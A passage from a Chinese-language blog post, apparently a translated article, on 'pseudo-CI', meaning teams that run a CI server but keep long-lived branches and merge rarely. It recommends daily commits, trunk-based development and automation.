CI”,他描述了一个具有挑战性的场景,曾经在一个分支上工作了一段时间,大约修改了100个文件和7000行代码,然后在代码审查阶段就开始招架不住了,因为他要向他的同事解释所有的代码变更的原因。“最具挑战性的事情是你最终要将一大功能集中到一个提交里,因为它们都是这个组件的一部分”,他解释说:“我希望有一个更好的方式来分解这些提交,因为很难把所有事情(变更历史)记在脑子里。”如果这个情况你听起来很熟悉,那么你也在做伪CI。 如果有下面的这些场景,那么你们就是在做伪CI:当有人问起你们在实践CI吗? 如果你说我们有一个CI服务器并且我们使用X工具在我们的调查中,只有10%的参与者承认有CI服务器与CI践行不一样。 相反,90%的个人表示他们正在践行CI,无论他们是否有专门从事CI的基础知识。 所以简单的认为只要有一个CI服务器就是“在做CI”,这就清楚地表明是在做“伪CI”。使用长期开发分支,但不会定期检入master主干在David的故事中,他们并没有实践每天检入master主干,这就是“伪CI”的标志。 这是我们在调研中常看到的一种模式,其中团队在master主干上运行CI,但不频繁构建,也不是每天都在提交。 或者他们在分支上运行CI,但不会频繁的集成到master主干。 只对特性分支运行CI,其实应该称之为持续隔离(continuous isolation)才对.合并分支时感到焦虑和疲惫真正的持续集成要把代码所有者的责任意识扩展到整个团队。 这改变了团队内部人员的观点以及他们对失败构建的态度。 不再是“我的宝贵的分支”,或是“我的错误导致构建被破坏”,而是“我们的代码”和“我们的失败”。David遇到焦虑和疲惫的事实清楚地表明,他忽略了CI的一个重要的优势:持续反馈和代码集体所有权。伪CI还有更多的一些现象,虽然我们发现有一些并不那么常见,但它们仍然存在一些问题,构建的时候,仅有极少的测试覆盖允许构建长时间处于失败状态虽然David的团队引入了一个备受尊崇的CI工具和常见的流程,如特征分支和代码审查,但他们并没有实施全套CI实践,因此错过了许多好处。 我们遗憾的发现,在我们的研究的组织中90%发生了这种情况。一些组织实施伪CI中反而错失了CI的主要优势 - 快速反馈,代码集体所有权,并准备达成持续交付如何避免,预防和解决伪CI的问题?如果您确定可能正在遭受伪CI之苦,则可以通过三种方式来解决问题并进行持续改变。1. 提交更频繁回到根本,尽量频繁地提交,每天至少提交一次应该是最低目标。 如果你还没有开始做CI,这就是你可以开始的地方,即使你在做CI,依然会有改进的空间。我喜欢“频率降低难度”的说法。 往往我们在做一些事情时,任务变得越小,则其更容易被实现。 持续集成就是是一个典型例子。 我的建议是要更加频繁地检入你的代码到代码库并且将开发分支集成到主干分支,至少每天集成一次”。2. 基于主干分支开发有很多论坛在讨论基于主干还是基于开发分支进行开发,我不想讨论那些血淋淋的细节。 然而,在我们的调研中,当我们与一些曾经在实践CI过程中感到痛苦的人交谈时,没有引入主干开发的团队对此有更深刻的感受。 DevOps现状调查报告-2016 还发现,基于主干开发和持续集成是达成持续交付的关键因素,同时也能建设更高效能的团队。基于主干的开发肯定会有一定的挑战,但它可以把问题提前暴露出来,而不是要等到代码合并、代码审查甚至到延迟发布的时候。如果你想达到更好效果的CI和CD,我建议在主干上做开发,或者如果你更愿意使用短周期的临时分支(合并到主干之前不到一天)进行开发,那么最好同时不要超过三个以上的活跃分支。3. 自动化自动化是做好持续集成的基石,所以如果你还没有自动化一切,现在是开始的好时机。 如果你认为已经实现了所有自动化的功能,那么每次有人手动地做任何事情超过一次,便要问自己“这个为什么不能自动化”? 我已经观察到自动化不仅可以帮助您在CI中变得更好,还可以帮助您开始持续交付。总结现在你知道什么是伪CI了,如果你的团队正在这么实践伪CI,那么你可以阻止这种情况继续发生了。 如果您仍然感到困惑,我建议你在Martin Fowler的博客“CI Certification test”做一个测试, 以确认你的组织是否正在做可靠的CI。 如果你通过了CI测试,那太好了,现在是考虑您是否准备好实施持续交付的时候了。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值